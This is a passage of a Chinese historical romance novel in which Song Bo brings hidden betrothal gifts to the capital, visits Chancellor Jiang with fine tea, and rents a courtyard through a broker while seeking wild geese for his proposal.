月前宋泊便问过这辆马车可否承重物,得知能带两箱物什以后,他便准备了两个木箱,严格控制着东西重量,在不压垮车厢的基础上,最大限度将定亲前的东西带上。 “嗯,可是沉了?”宋泊问,毕竟阿朝才是马车专家,他若开口说着东西重了,他便只能艰难地挪出几样,带东西是一回事,可如果这两箱东西重得把车厢压垮了可就是本末倒置了。 “不沉,只是这么多东西都是什么呢?”阿朝问。 并非阿朝不信任宋泊,只是京城是恒国最重要的地方,入关检查复杂,他提前知道箱子中装了什么东西,到时官差问来他对答如流,入关也快些。 宋泊瞧了眼四周,这儿只有他、宋茶栽和阿朝三个人,江金熙还在前院忙碌,应当不会到这儿臭气熏天的马厩来。 宋泊压低声量与阿朝小声说着,“说来你得替我保密。” “是,您说。”见宋泊说个事还得小声说,阿朝神色凝重,心脏跳得可快,心里只想若是宋公子带了些违禁物品他可应该如何处理。 “这下箱子你尽管打开瞧,里头是我准备的纳采贺礼,到时你家公子若闻起来,你只说是我的书就是。”宋泊道。 为了藏住自己的惊喜,宋泊还特意在那些贺礼上头叠了些书,这样江金熙若起了兴致想开箱子瞧瞧,也会被这层书瞒过去。 没想到箱中装的原来是这些物什,阿朝睁圆双眼,他打开两个木箱仔细检查一番,确实都是贺礼。 觉着自己参与到公子的人生大事之中,阿朝也难掩兴奋,他道:“宋公子,我定会小心瞒着,公子是瞧不出破绽的。” “那便多谢阿朝兄了。”宋泊说。 翌日一早,宋泊、江金熙、宋茶栽、青桥一起坐上了回京城的马车。 坐与车厢之中,宋茶栽问着江金熙,“店里可都安排妥当了?” 百安馆开了一年多正是积累客源的时候,虽说江金熙已经多请了几个大夫,但宋茶栽还是免不了担心地问了一句。 “都安排妥当了,大姑你尽管放心。”江金熙回答着看向宋茶栽,“听宋泊说你想去京城瞧瞧,你可有想看的东西,我计划计划带你都去看过一遍。” 听江金熙这么说,宋茶栽便明白宋泊还瞒着江金熙呢,这个小崽子也是真有本领,能瞒着江金熙瞒这么久。 马车越往北行,下雪的次数越多,官道上积着厚厚一层雪,不仅车轮容易打滑,拉马车的马匹也容易蹄子滑,因此自出了南面边界,阿朝驾驶马车的速度就满了下来。还好官道上官驿很多,宋泊他们也不至于在马车内受冻。 宋泊拿着斗篷从身后拢住站在窗边赏雪的江金熙,“赏雪怎的不披上斗篷,等会受凉了可怎么办?” 窗户外头雪花片片落下,落在窗前大树之上,大树披了层白色雪衣,在银色月光下闪闪发亮,甚是好看。 江金熙拢紧身上的斗篷,身子往后微微一倒,背靠在宋泊的怀中乖巧解释着:“我也是随意往窗外瞧,被这雪景亮了眼,这才忘了披上件衣裳。” 宋泊常年生活在南方,只见过年初那场寒灾,那并非真正的雪,落来又急又大,是纯正的灾。真要瞧雪,还得到北方地界,这儿的雪落得慢,落得轻,宋泊与江金熙一块儿在窗前站了一会儿,也被眼前的雪景迷了去。 “三日后便要进京了,你可有什么想法?”江金熙问。 “没什么想法,只是紧张。”宋泊说。 到了京城他们就要开始实施成亲的第一步流程,纳采。不过因着宋泊还得准备明年三月的会试,故而纳采的事儿大半部分都得搁在宋茶栽身上,这也是宋茶栽不惜从传福镇请了个大夫回村里替她当村医也要前往京城的原因。 自家侄儿的人生大事,可不能耽搁了。 “紧张什么?会试还久着呢。”江金熙道。 “怕未来的丈人为难我。”宋泊笑道,江金熙一年多都未回家,虽说期间他与江丞相和江夫人都有书信来玩,但到底不如亲眼见着。若他是江丞相,也会觉着自家宝贝被外头的黄毛小子给骗了去,等被他逮着机会定要刁难刁难那黄毛小子。 听着宋泊这么说,江金熙笑了,他从斗篷后头隔着一层布抓着宋泊的手臂,安慰道:“你现在可是解元,他惜才得很,定不会为难你的。” 宋泊靠着江金熙的脑袋,轻声道:“那我便信你的话,江丞相不会为难我的。” 十二月二十三日,阿朝驾着马车进了京城的城关。 雪花点点儿落着,街上人并未因着落雪而闭门不出,反而像是习惯了一般,该如何还如何,街上商摊、小贩依旧热情,整个街道热闹非凡。 “冰糖葫芦,卖冰糖葫芦~” “春节咯春节咯,可有人要买/春联。” “卖雁咯,刚抓的大雁。” 听着有人卖大雁,宋泊撩开车窗窗帘,有个猎户模样的小摊贩边上抓有两只鲜活的大雁,不过那两只大雁都美中不足,一只瘸了腿,一只翅膀受了伤,为了抓获大雁,猎户设了陷阱,两只大雁都踩在陷阱之中,这才被抓到城里卖。 要去江府纳采,定然不能抓这种歪瓜裂枣去,宋泊收了心重新放下车窗帘。还是得唤大姑去京中店铺寻找,那种店铺应有品相好的大雁。 江金熙外头瞧着宋泊,问:“可是想买大雁了?” 宋茶栽正坐与一侧喝着水,闻言她呛了一嗓子猛得咳嗽。 江金熙吓了一跳,忙坐过去给宋茶栽拍背,“怎么喝得这般急。”帮宋茶栽顺气的同时,还往外唤了一声,叫阿朝注意些,避开路上有坎儿的地方。 “与阿朝无关,是我自己岔气噎着了。”宋茶栽瞄了眼宋泊,宋泊嘴一抿,乖乖噤声,只希望江金熙被这么一打岔能把刚刚大雁的事情忘了。 京城很大,马车又行了一刻钟,才停在宋泊之前来京城时住过的那家客栈。 虽然江金熙曾经提过让宋泊和宋茶栽住在他们丞相府空置的府上,但宋泊此次前来可是为了定亲来的,住在未来丈人提供的住所怎行,如此宋泊便拒绝了江金熙。 客栈内的店小二帮着忙把宋泊的两个大木箱抬进客房,江金熙瞧着他们两个店小二抬一个箱子都费劲,便说了宋泊一句,“你怎的带了那么多书来?” 江金熙这么问,宋泊冒出一身汗,他道:“三月便是会试,来回花去一个月也不值当,我就把所有书都搬来了,直接在京城里住到三月。” “住到三月,可是真的?”江金熙喜道。百安馆交给吴师叔管他放心,宋泊能在京城待到三月,对他来说可真是个惊喜。往年他回来过春节不过一月就要赶回南方,现下不用了,可以待上三月余,江金熙心底都快乐开了花。 “真的,过两日我就去租个院子。”宋泊道。 “好呀,府上有熟识的房牙,明日我就唤他来找你,与他租的院子既便宜又舒适,可是实惠哩。”江金熙道。 江丞相官位高,人脉广,各行各业都有认识的人,不过介绍个房牙罢了,小事一件。 宋泊到底不是京城人,若以自己摸索没准会被本地人当外地人骗了去,江金熙介绍房牙可是帮了大忙,让他能省去些无谓的时间落在正事上。 “好。”宋泊应声。 把宋泊和宋茶栽的东西都搬入客栈以后,阿朝重新驾驶马车,前往丞相府。 宋茶栽猫在客房内的窗户边往外看着,直到江金熙的马车看不着影子了,她才跑进宋泊的房间内。 宋茶栽入门就是一句怨。“刚刚可是吓着我了,你怎么当街就瞧起大雁了呢?” “这不是听着有人卖大雁,我便好奇瞧了两眼。”宋泊拉着宋茶栽在圆桌边坐下,给她倒了一杯茶,“小摊贩的大雁不可,我们即要上丞相府,就得挑品相最好的大雁。” “是如此。”宋茶栽应声,“这两日我们分头找去,这么大个京城定有地方卖好的大雁。” “无需如此。”宋泊说。 “你有更好的办法?”宋茶栽问。 “金熙不是说明日会唤房牙来吗?房牙定认识京城中卖大雁的商户,我们找个机会问问他就是。”宋泊道。 房牙是牙人的一种,他们做牙人的人最是消息灵通,哪户卖什么他们一清二楚,与他一问,定能寻着卖大雁的地儿。 “还是你聪明。”宋茶栽道,两人分头寻找不是不可,但就是太浪费时间,有人帮忙提供线索,自然是比自己寻找方便许多。 宋泊和宋茶栽两人一合计,等着明日与房牙问了卖大雁的地儿,他们瞧了大雁再做下步打算。 第136章 第一百三十六章上门拜访。 坐与马车之内,青桥没忍住问江金熙,“宋公子的书真有那般沉吗?我瞧着那两个搬东西的店小二腿都要软了。” 刚刚店小二搬东西的时候青桥也在边上瞧着,那俩店小二看着并不瘦弱,但两人扛起宋泊的木箱来却一晃一晃,眼瞧着一不小心就会倾倒似的。 “别瞧书薄,几十本垒起来可是重的很,更何况宋泊带了估计有百来本,那更是重得不行。”虽然江金熙是这么与青桥说的,但他其实也觉着奇怪,离会试不过三个月时间,就是一日看上一本,也只能看九十多本,他将那么多书搬来京城可是为何? 宋泊或许有自己的想法,江金熙只当他为了查资料时毫无纰漏,这才将所有书都搬到了京城,没准会试、殿试都一举过了,圣上给宋泊赐了个京中官,那这些书搬来也省了再回县里搬的功夫。 听着江金熙的回答,青桥感叹道:“科举可真难呐” 刚到丞相府门口,江金熙撩开车窗帘,瞧着娘亲与洪嬷嬷站在门口等着他们。 江金熙将车窗帘撩得更开一些,直往江夫人那儿喊道:“娘亲、洪嬷嬷。” 听着自家金囝的呼唤声,江夫人也顾不上与洪嬷嬷说话了,她“诶”的一声抬眸应道。 马车缓缓停下,阿朝从车上拿出脚凳,脚凳刚刚放好,江金熙便从车厢下来,扑进江夫人的怀中,“娘亲。” “我的金囝。”江夫人紧紧环抱着江金熙,语气都带了几分颤抖,“回来就好、回来就好。” “是我不孝,说着年中要回来一次还是拖到现在。”江金熙闷声道。 “我倒是还好,年后见过你一次,只是你爹爹可是起了气,等会你得多哄哄。”江夫人道。 官场上的江丞相是个好官,家庭中的江丞相却是个需要人哄的固执中年人,一年多未见着江金熙,他心里想得很却不乐意表现出来。 “无妨,讨爹爹欢心我最会了。”江金熙从江夫人的怀里出来,环着江夫人的手臂一同往府内去。 只瞧着青桥从车厢内出来,一直未见宋泊的影子,她问:“对了,宋泊呢?” “他先回客栈了。”江金熙答。 “来了京城却不来丞相府露个面,这可有几分无礼呐。”江夫人说道,宋泊想要娶金熙,来了京城就得到府上拜见一下,江丞相见不见他是一回事,他来不来又是一回事,这可是礼貌问题,在江丞相心理占大分的。 “还有这回事?”江金熙年纪轻,不知道这些暗道理实属正常,“我且与他说去!” 江金熙刚转身要跑,就被一身低沉的男声唤住,“站住。” 江金熙转回身子小心翼翼往台上一瞧,江丞相一袭官衣未解,两手背于身后,严肃地盯着他看。 江金熙立刻乖了,他软声道:“爹爹。” “你要做什么去?”江丞相问。 “没、没做什么。”江金熙怎么也说不出我要去客栈提醒宋泊上门拜见的话来,爹爹本就不高兴了,再提上这事儿那不是火上浇油吗? “等会收拾好了到厅里来,我有话与你说。”江丞相说完这句话便背着手走了。 自己去这条路已经被堵死了,江金熙扭脸朝江夫人撒娇道,“娘亲。” “这也算是个对他的考验。”江夫人这般说着便是拒绝了江金熙的请求。 无法,江金熙只能在心底祈求宋泊等会会来府上拜见爹爹和娘亲。 回到房间内,江金熙一直都心神不宁的,连青桥伺候他洗澡换衣,他都像个木偶一般,一直想着宋泊的事儿。 “公子,你若真这么担心,要不要我偷偷出去一趟帮你报信。”青桥问,自下马车以后他一直与江金熙待在一起,江夫人和江丞相说的话他自然也听到了。 “算了,你跑出去为我报信这事儿若被爹爹知道了,少不了罚的。”江金熙道。 “顶多就是罚些工钱,再罚抄几篇文而已,无事的。”青桥说,比起自己被罚,他还是更希望自家公子的心头之事能解决。 “没事,我总有办法解决。”江金熙说。 就算宋泊今日没来府上拜见,他也会为他想些正当理由与爹娘解释。宋泊总归才二十来岁,又未在官场待过,那些人情往来的暗道理他不知也实属正常。 江金熙换上一袭新衣,前往正厅。 今日落雪很大,天气凉,江金熙拢紧身上的斗篷,青桥撑着把伞在他身后走着,为他遮去落雪。 江金熙走入正厅,江丞相正坐在高位之上,悠悠泡着茶,他已换去身上沉重的官服,穿着日常方便的锦服,江金熙跨入厅内,走到自己的位置边坐下,乖巧地唤了一声,“爹爹。” “嗯。”江丞相应了声,“可算是想着回来了。” 这话听来多少带点脾气了,江金熙服软着道:“爹爹我错了,实在是医馆太忙挪不出时间。”怕如此说着让江丞相觉着医馆比家里重要,惹江丞相生气,他还补上一句,“不过我已经又招了几个大夫来,医馆的事儿不用我担心,此次回来可以待到三月多呢!” “三月多,我看你是要等那个小子考完会试。”江丞相给自己倒了杯茶,随后抬手摆了一下,身后的侍人拿了个小盘子端了一杯茶到江金熙桌边放下。 “没有!”江金熙双手捧着茶杯,赶忙为自己辩解,“我就是上年没回来过春节,这次才想着多留些时月的。” 江丞相看着江金熙左手捏着茶杯边沿,右手抵着茶杯座,想来是刚泡好的热茶烫手,不好拿住,他道:“行了,茶杯端着不喝可是要热手啊?” 江金熙这才小口小口抿着喝了茶,爹爹还是疼他的,舍不得他烫着手。 “你那个百安馆,每月可挣多少银两?”江丞相问。 医馆生意不比其他,赚的钱没有那般多,他又是开在霞县之中,地处偏远,经济水平低,每月扣除人工成本和药材耗材成本,也就赚五两银子。 不过说给爹爹听肯定不能说这么少,江金熙斟酌了下,小小加了几两银子,反正做生意有波动很正常,真要问起来他也能辩过去。 “才八两,八两银钱就够你卖心卖力。”江丞相听着这月营收实在不满意,不过八两银子,他每月都能给江金熙三十两银子当零花钱花,还不用江金熙为他做些什么。 “钱是没赚多少,可我学了手艺呀。”江金熙说道:“现下缝皮、正骨我可是样样精通,我记着爹爹你时有头痛,我给你摁摁,保证舒服!” “当真如此厉害?”江丞相的面色稍微缓和了些许。 江金熙立即从位置上起来,走到江丞相身后,轻柔地给他按头。 按头并非柔就可以,按到穴位时得加上一点儿恰到好处的力道,如此才有缓和头痛的效果。 江丞相被江金熙按摩着头,只觉着头痛缓和不少,那阵阵的钝痛被江金熙的手了按下去,倒真有些神奇。 江丞相怕江金熙累,让他揉了一会儿便挥挥手说自己好多了。 “学了这般手艺,开医馆的事儿我就不与你计较了。”江丞相道,与其他商贩相比,大夫的地位会高一些,丞相家的哥儿开了个医馆说出去也不至于让人笑话,到底是救死扶伤的行当,医术好了便会令人尊敬。 “还是爹爹疼我。”江金熙道。 正说着话,忽然有个侍人走了进来,他在江丞相耳边说了两句话,江金熙看见江丞相的眉头肉眼可见的顺展开来。 “让他进来。”江丞相道。 过了会儿,侍人引着客人到了正厅,江金熙顺着脚步声往门外瞧去,是宋泊来了。 江金熙欣喜若狂,他走到宋泊身边,张嘴问道:“你怎么会来。” 在江丞相面前宋泊不敢明目张胆,他只能柔和着眼神微微垂眸看着江金熙,他小声与江金熙说:“来到京城当然要上门拜访。” 太好了,宋泊在这个时候携礼上门,爹爹定然会开心的。 “坐吧,站在门口作甚。”江丞相说。 宋泊在落座以前,先把贺礼呈给江丞相。 这次他到京城可是有备而来,特意备上了南方特产的茶叶。这茶叶是路砚知他大伯最爱的观山红,宋泊从路大伯那儿买来的。 宋泊尝不出茶的好坏,可这茶贵得很,路大伯又很爱喝,应当是个好茶。 观山红因着它的特性有特定的包装,江丞相一瞧着宋泊手中拎着的乌木制成的简朴方盒,便知这是何种茶叶,“观山红,你倒是懂得送礼。” “听闻江丞相喜欢喝茶,宋泊便斗胆带了南方最好的茶叶来。”宋泊将观山红递给侍人,侍人小心将它放在托盘上送到江丞相身边。 江丞相拿过木盒,将木盒盖子一打开,观山红的香气便飘了出来,木盒内放了二两茶,茶叶稀少却已香气扑鼻,确实是个好茶。 “甚好。”江丞相让侍人将他盖碗里的茶叶倒掉,他听闻观山红盛名许久,此次终于能泡之、饮之。 听着江丞相这么说,宋泊悬着的心终于落下些许,送礼送到江丞相的心坎之上,后头要纳采、问名等一系列成亲的事儿应该都会轻松一些吧? 江金熙坐在宋泊对面,见自家爹爹沉浸于泡茶之中,他才使了小动作,冲宋泊眨了眨眼,幸好,他家宋郎不只才高八斗还八面玲珑,知道要上门拜访,省了他的心。 第137章 第一百三十七章公子世无双。 江丞相泡好一壶茶,倒至茶杯之中让侍人端与江金熙和宋泊,他自己则先拎起盖碗的盖子嗅了下茶香,而后才端起茶杯抿了一口茶。 观山茶不愧为南方极品茶叶,前头刚尝来茶味很淡,接着在口中细细品尝,那后调的浓郁茶味慢慢显现出来,萦绕于口齿之间,久久不散。 瞧在这茶的份上,江丞相勉为其难原谅宋泊拐走他哥儿一年多的事儿,这小子还算有良心,不仅知道上门拜访,还知道要带上好礼来。 江丞相将空了的茶杯往边上桌边一放,问着宋泊:“听闻你得了解元,往后可有何安排?” “首要安排便是考过会试、殿试。”宋泊回道,考试重要,定亲的事儿也很重要,不过他还没打算说出口,既瞒着江金熙,就得瞒到他将大雁买来,正式登门那日。 “倒是有志气。”江丞相也没给宋泊泼冷水,一来宋泊逢考必是榜首,硬实力摆在那儿没准真能一次考过,二来他家哥儿就在这儿,他给宋泊泼冷水,明日江金熙就能与他闹脾气。 “斗胆尝试,不敢妄言。”宋泊答道,会试只会比乡试更难,他能在乡试赢得榜首不代表他也能在会试赢得榜首。 “到了饭点儿还在正厅谈事儿呢?”忽的江夫人的声音插了进来,江夫人一身裙装,手里抱着个手炉从外头走进来。 洪嬷嬷在她身后将遮雪的伞收了起来放在正厅门外。 “宋公子也来了。”江夫人瞧着宋泊也坐在厅内有些意外,之前她在厨房里忙碌着给江金熙张罗午餐,居然没听着宋泊来府上的消息。她转眸看向坐在上位的江丞相,此刻的江丞相面色说不上平和,却也并不严肃,心情应当是好了几分。 “江夫人。”宋泊从椅子上起了身,与江夫人行了一礼。 “坐吧。”江夫人应着声,往江丞相那儿走去,越靠近江丞相她越闻着一股香味,“厅内这是什么香,闻着怪是好闻。” “你来得正好。”江丞相给江夫人倒了一杯茶,“这是宋泊带来的观山红,你可尝尝。” 江夫人在江丞相身边的位置坐下,她客气着道:“宋公子来便来,还带东西作甚。” “只是薄礼,江丞相和江夫人不嫌弃才是。”宋泊接着江夫人的客气话往下说着。 这人情世故多的是靠语言说出来的,宋泊这般圆滑着接住江夫人的话,倒是让江夫人大悦。 登门拜访哪儿能不带礼物,更何况这还是上未来老丈人的家,两手空空就敢来丞相府,不怕被赶出去。大家都心知肚明的事儿,面上却还是需要推拉一番的。 “如此大礼哪儿算薄礼。”江夫人将茶水一饮而尽,说道:“我可是知道这观山红的价,这茶有价无市,今日能喝着都是沾了光了。” “江夫人谬赞。”宋泊回道。 几人坐在厅内又寒暄了一阵,江夫人才开口道:“既然宋公子也来了,那便与我们一道用餐吧。” 听着娘亲开口邀请宋泊留下吃午餐,江金熙偷偷斜眼瞄着江丞相,江丞相面色如常,也未出言阻止,只是眼神挪着看向江金熙,把江金熙吓一跳赶忙收回视线。 “冒昧打扰又留下用餐,这哪儿能行。”宋泊谦道。 “无妨,午餐菜也备得多了,有你一起正好。”江夫人再说。 江夫人两次邀请,再拒绝便是不给面子,宋泊回道:“如此那便叨扰了。” 从正厅到食厅有一小段镂空的距离,外头雪儿飘着,江丞相和江夫人先走出了正厅,后头都有人与他们撑伞。 正厅内的四角放了火炉,整个房内被热气熏得可是温暖,江金熙进了厅内也得把斗篷摘去,不然可得被热出一身汗。但是往外一走可就比厅内冷多了,宋泊一把拿过江金熙放在椅子边上的斗篷,小心给他套着,“可仔细穿着,别着凉了。” 宋泊长得高、手也长,他两手拉着斗篷一甩,斗篷自然地落在江金熙的肩上,确有几分帅气,迷了江金熙的眼。 宋泊瞧着江丞相和江夫人已*经走出正厅,他才敢说道:“手我摸下,可冷了?” “没有,热乎着呢。”江金熙抬着双手,指尖碰在宋泊为他系带的手背上,“你瞧,是不是热乎着。” 宋泊系好斗篷上的带子,又将帽子给江金熙拢上,随后才反手牵着江金熙的手,道:“那便好。” 洪嬷嬷重新回到正厅门外,催道:“可好了?夫人催你们呢。” 宋泊跟触了电一般赶紧收回手,江金熙也是红了脸,他道:“就来。” 瞧着小情侣腻歪着,洪嬷嬷催了一句便回到江夫人身旁。 “他们做什么呢?”江夫人问。 说来洪嬷嬷都要偷笑,“宋公子正给咱们哥儿系斗篷呢,可是怕冻着我们哥儿,系得可仔细哩。” “是嘛。”江夫人的唇角微微上扬,“老爷,咱们先去食厅吧,在这儿站着也是冻。” 江夫人不知道宋泊要来,便没备他的份,但好在他们今日为了给江金熙接风洗尘,菜品备得多了些,这才不至于要厨房临时赶工。 头回坐在江家家宴上,虽然食厅内人不多,加上后头伺候的人也就八人,但宋泊总觉着心底儿突突的,可得谨言慎行。 饭前有侍人端水过来,宋泊知道这是用来净手的水,他没出洋相,中规中矩地将手洗净,又接过侍人递来的手巾擦干了手上的水分。 江丞相没有说话,江夫人便替他把话说了,“可别客气,当自己家就是。” 话音落下,江夫人藏在桌底的手拧了一把江丞相,江丞相吃痛,说了句,“用餐吧,”便先一步动了筷。 主人动了筷,客人才能动筷,等江丞相一口菜入腹以后,宋泊才抬手动了筷子。 江府没有食不言的规矩,饭桌上江夫人与宋泊和江金熙搭着话,江丞相时不时也说上几句,气氛和谐。 宋泊也是难得体验了一把贵族生活,放菜的大圆桌很大,想要吃上边上够不着的菜就得侍人帮着夹菜,负责伺候宋泊的侍人很有眼力见,一旦宋泊对一道菜多看了几眼,那侍人马上就会将那盘菜夹来,搞得宋泊都不敢乱看,眼神正正盯着前方。 午餐吃完以后,宋泊便没在丞相府久留,几乎是一从食厅出来,他便行礼要告退。 “不在多待一会儿?”江夫人问。 “多谢江夫人盛情,只是我还需回去温习功课。”宋泊道。 “如此,那便路上小心些。”江夫人叫来一个侍人,让他送宋泊到门口。 眼瞧着江丞相和江夫人渐渐走远,江金熙拉着身上的斗篷,踏着靴子踩在雪上,小跑着攥住宋泊的手,“你等一下。” “怎么了?”宋泊问。 “我瞧你未带伞来,你等我一会儿,我回房给你拿来。”江金熙说。 现下的雪正大,人站在外头没有撑伞一会儿就会成为雪人。 “好。”宋泊应道。 宋泊屏退了负责撑伞的侍人,他拿过侍人的伞,为自己和江金熙撑着。 见两人同撑一把伞,青桥说着自己有东西落在食厅,便撑着伞往反方向走去。 江金熙与宋泊一起并肩走着,脸上笑容洋溢怎么也收不住,甚至还笑出了声。 “想着什么事儿了?这么高兴。”宋泊侧目柔和地看着江金熙。 “你今天来我好高兴。”江金熙挽住宋泊的手臂说道,忽而意识到自己还在府上,没准会有其他人瞧着他们的亲密动作去跟爹爹打小报告,他又一下把手放开。 “来了京城不上门拜访,我未来丈人定会记我一过。”宋泊笑道。 “你哪儿来的观山红,我都没听你说过。”江金熙接着问道。 “跟路砚知他大伯买的。”宋泊继续笑着道:“此次前来我可做好了万全准备,定要与你爹娘留下个好印象。” 再往后便是要提着大雁来了,若不与江丞相和江夫人搞好关系,后头连人带雁一块儿被踢出来,大雁可以飞走,他就只能挖个坑把自己藏起来了。 两人聊着聊着到了江金熙的院子门口,江金熙领着宋泊进了院,在房门口时,他道:“好啦,你在门口等我一会儿,我进去给你拿伞。” 毕竟两人还未成婚,哥儿的闺房男子不方便进,宋泊便点了头,撑着伞站于院子当中等着。 江金熙的院子里种了棵大树,这树应当有些年头了,树枝粗壮,树桩也需五六个成年男子展臂才环得住。树下放了个石棋盘,白、黑两种棋子都放在棋盘边儿焊死的石棋桶中,宋泊已经想着江金熙在这儿树下下棋的模样,应当是沉静优雅。 “你就拿这把伞吧,这把伞好用,伞面又大一些,你个子高,刚好能遮得住……”江金熙边念叨着边往外走,眼瞧着院中宋泊撑着伞立于石棋桌边上,霎时间被眼前的景色迷了去。 宋泊长得高身子又直,微微斜身垂眸看着石棋盘,一手撑着伞,一手在石棋盘边掠过,雪沿着伞边落下,将他以雪围了起来,可是好看。 听着江金熙的声儿,宋泊直起身子,翩翩转过身,伞上的雪因他的动作落了下来,他握着伞柄的手稍微倾斜,姣好的脸庞整张漏了出来,温柔地看着江金熙。 江金熙这时才明白公子世无双是什么意思。 “你刚刚说了什么?”宋泊挪着步子走到江金熙面前,自下而上地看着江金熙。 江金熙耳尖泛红,他摇了摇头,把伞递给宋泊,“这雪瞧来越来越大了,你快些回去吧。” 第138章 第一百三十八章房牙。 翌日,江金熙早早便敲响了宋泊的房门。 “你怎么来的这么早?不多睡些?”宋泊拉开房门,领着江金熙进了房,现下不过辰时,晨曦才刚刚击破黑暗透了出来,江金熙便穿戴整齐和青桥一块儿站于他的房前。 “想着要给你介绍房牙我就激动着睡不着觉。”江金熙道。 在京城租房可是在京城生活的开始,没准宋泊以此就在京城定居了呢,一想着这儿,他就睡不着觉,天未亮就醒了,比青桥醒得还早。 宋泊牵着江金熙,问:“早饭可吃了?” 江金熙还未回答,青桥就在后头笑着道:“公子急着来,还未食早餐呢。” “这怎么可以。”宋泊让江金熙在房内坐好,他到门外喊来店小二,让店小二送盆洗漱的水上来,再顺便端两笼小笼包和三碗热豆浆。 既然江金熙没用早饭,青桥跟着他一道儿肯定也没吃,宋泊便把青桥的份也算上了。 店小二的动作很快,一会儿就将所有东西搬了上来,宋泊快速洗漱完毕,坐在桌边陪着江金熙吃早饭。 “你打算贷个什么样的院子?”江金熙问,有个大致目标才好与房牙谈院子。 “离皇城近些的院子。”宋泊道,他的想法是先贷后买,若能一举通过会试、殿试,他就想着将贷的房子买下来。 江金熙咬下一口小笼包,调侃道:“可是已经想着当官以后的事儿了?” “是呀,离皇城近些我上朝、下朝花的时间少了,陪你的时间不就多了?”宋泊笑道。 江金熙拿手肘戳了宋泊一下,愤愤道:“什么呀,青桥还在这儿呢。” 青桥双手捂着耳朵,装着什么都没听见。 吃完早餐,宋茶栽也醒了来,她跟店小二要了两个包子,几口吃完包子便随宋泊他们一道儿出了客栈。 房牙所在的牙行离宋泊所住的这间客栈有些距离,阿朝驾着马车,花了一炷香的时间才抵达牙行门口。 江金熙所熟识的房牙一见着马车立即从牙行内迎了出来,“江公子,可是您来了?” 宋泊先下了马车,江金熙听着房牙的问候,他撩开车帘,指尖搭着宋泊的掌心,边走下车边道:“王房牙,近来如何?” “近来还行。”王房牙谄媚着道:“江公子今日来可是有何事?” “这是宋公子,他想要贷个院子,有没有离皇城近些的院子可贷?”江金熙道。 王房牙想也未想便应声,“自然有的,请随我来。” 京城人多,人口流动复杂,有些人被贬、有些人辞官,那些个院子都带不走,只能交由房牙贷出去或者卖出去。 王房牙在的这个牙行多做官家生意,院子大都是之前为官人的院子,那院子自差不到哪儿去。 王房牙带着四人进到他的工作房内,他从满墙的柜子中拿出几副卷轴,“这些都是离皇城近的院子,最近的院子坐上马车去皇城不过一刻钟时间。” 青桥为三人拉来凳子,宋泊和江金熙坐在凳子上,将一副副卷轴拉开来看,每所院子边儿都写了所贷银两及售卖银两,宋泊有意挑选那些贷金和售金都合适的院子。 只是京城内再便宜的院子,租金每月也得十两,买下院子更是需要七百两往上,这可是笔不小的开销。 如今宋泊只有两百多两,要买个院子还远远不够,只能先贷下院子,往后再说。 宋茶栽随两人一起看着卷轴,看着一个二进院子便说道:“我瞧着这个不错,二进的院子不贵,又离皇城近。”其实还有一个点儿宋茶栽没说出来,这个院子还离丞相府近,到哪儿去都方便,可谓是个绝佳院子。 “我也觉着好,不如我们先去这个院子瞧瞧?”江金熙跟着说道,卷轴上画了每个院子大致的模样,这院子布局合理,外院有三间房,内院有五间房,住下他与宋泊两人可是足够,再给宋茶栽和刘南民留个房间,还有多的房间可用哩。 既然江金熙和宋茶栽都看中这个院子,宋泊便道:“好,那我们就去看看。” 今日天气不错,阳光明媚未落雪,正适合外出看院子。 他们看中的院子离牙行有一段距离,王房牙与阿朝一起坐在马车外头,他给阿朝引着路,花了一刻钟多才抵达院子门口。 到了院子门口,宋泊一眼便瞧着门口两头威赫的石狮子,石狮子后头是扇纯木制的大门,门上有铜制门环,看着十分简朴,想来之前住在这儿的人家定是个清官。 王房牙拿出钥匙将链在门环上的铁链打开,引着四人往院子里走去。 刚入院便是个雅致的亭子,亭子立于一片白雪之上,看着有种遗世独立的美感。 “现下冬季看不出来,其实这儿是片花园,春夏秋都有相应的花儿开放,可是好看哩。”王房牙介绍道。 这就是北方的特点,一落雪,所有东西都被雪盖了去,直等春日才能瞧见原来的模样。 王房牙先与他们介绍了外院的三间屋子,而后才领着四人往内院走去。 通过两个圆形石拱门,内院展现在众人面前,最大的房间为正房,正房左右两边都配了耳房,正房左、右侧面为偏房,两间偏房均只有一边儿的耳房,再往边上是厨房和侧方,五间房安排妥当,住上人口不多的家族足以。 宋泊和江金熙走进正房内瞧了眼,先前的主家许是辞官下乡再也不回京城了,能搬的东西一律搬走,只留下搬不走的家具在,诺大个正房只剩下床一张,衣柜两个以及桌椅一套,看起来非常空旷。 王房牙怕江金熙看着不高兴,赶忙跟着进来找补了一句,“这房内剩的家具不多,若要住人还需自己添买家具,故而这租金才便宜下来。” “无妨,那些东西慢慢买就是,睡觉的地儿有了就行。”江金熙答。 宋泊少说也要在这儿住上三月往上,那些装饰物之类的东西不太必要,慢慢买来就是,有张歇息的床才是重中之重。 瞧完正房,他们又去看了偏房,偏房比起正房更磕碜一些,每个偏房只搁了一张床,旁的什么都没有。 王房牙也没想着这院子里的东西这般稀少,心里发憷等着江金熙和宋泊问来,面上一直讪讪笑着。 “这房子的租金可是每月是十两?”宋泊问。 这院子小,留存的东西也不多,配上这个价儿也还算公道。 王房牙道:“是呐,不过如果您愿意多贷些时日,我也能送信过去贷主那儿,帮您讲讲价。” 前头人已经搬走了,得说价就只能送信去,不过好在那人搬得不远,不过京城边上的县城,送信去再接信来,也就五日左右,十二月二十九日便能收着信。 “大约贷个半年,你捎信过去问问。”宋泊道。 若是能便宜一些,也能省去一点儿音量后头买房用。 “行!”王房牙一声应下。 瞧过这个院子,宋泊他们又去看了别的院子,只是可能有先入为主的影响在,其他院子都不如头个院子好,看过四家以后,他们还是觉着第一个院子最合适。 索性天也快黑了,宋泊和宋茶栽回了客栈,青桥撑着伞迎着江金熙回了江府。 眼瞧着江金熙走远了,宋泊和宋茶栽从客栈又出来,重新寻那王房牙。 王房牙最后一个从牙行出来,正打算将店门锁上,便听着宋泊出声唤他,他转过头瞧着是江金熙介绍的客人,马上问着:“客官可是还有什么事未问清楚?” “我想问问你可知京城有无卖大雁的铺子?”宋泊问。 “大雁?客官买大雁作甚?”王房牙不解的问着。 大雁的价格可不便宜,寻常人家要吃也只会挑便宜的鸡鸭鹅来吃,不会特意买大雁。 “不瞒你说,江公子是我的意中人,我想与他求亲,就得拎着品相好的大雁去。”宋泊直言道,为了藏着惊喜,他还与王房牙说,“此事江公子还未知,请王房牙务必帮我瞒着。” “原来是好事将近!”王房牙乐道:“这你可问对人了,城东和城南的交界处有个异珍馆,那儿便有品相最好的大雁,不过就是价格有些贵。” “无妨,拿去江家的东西自然要挑最好的。”宋泊道。 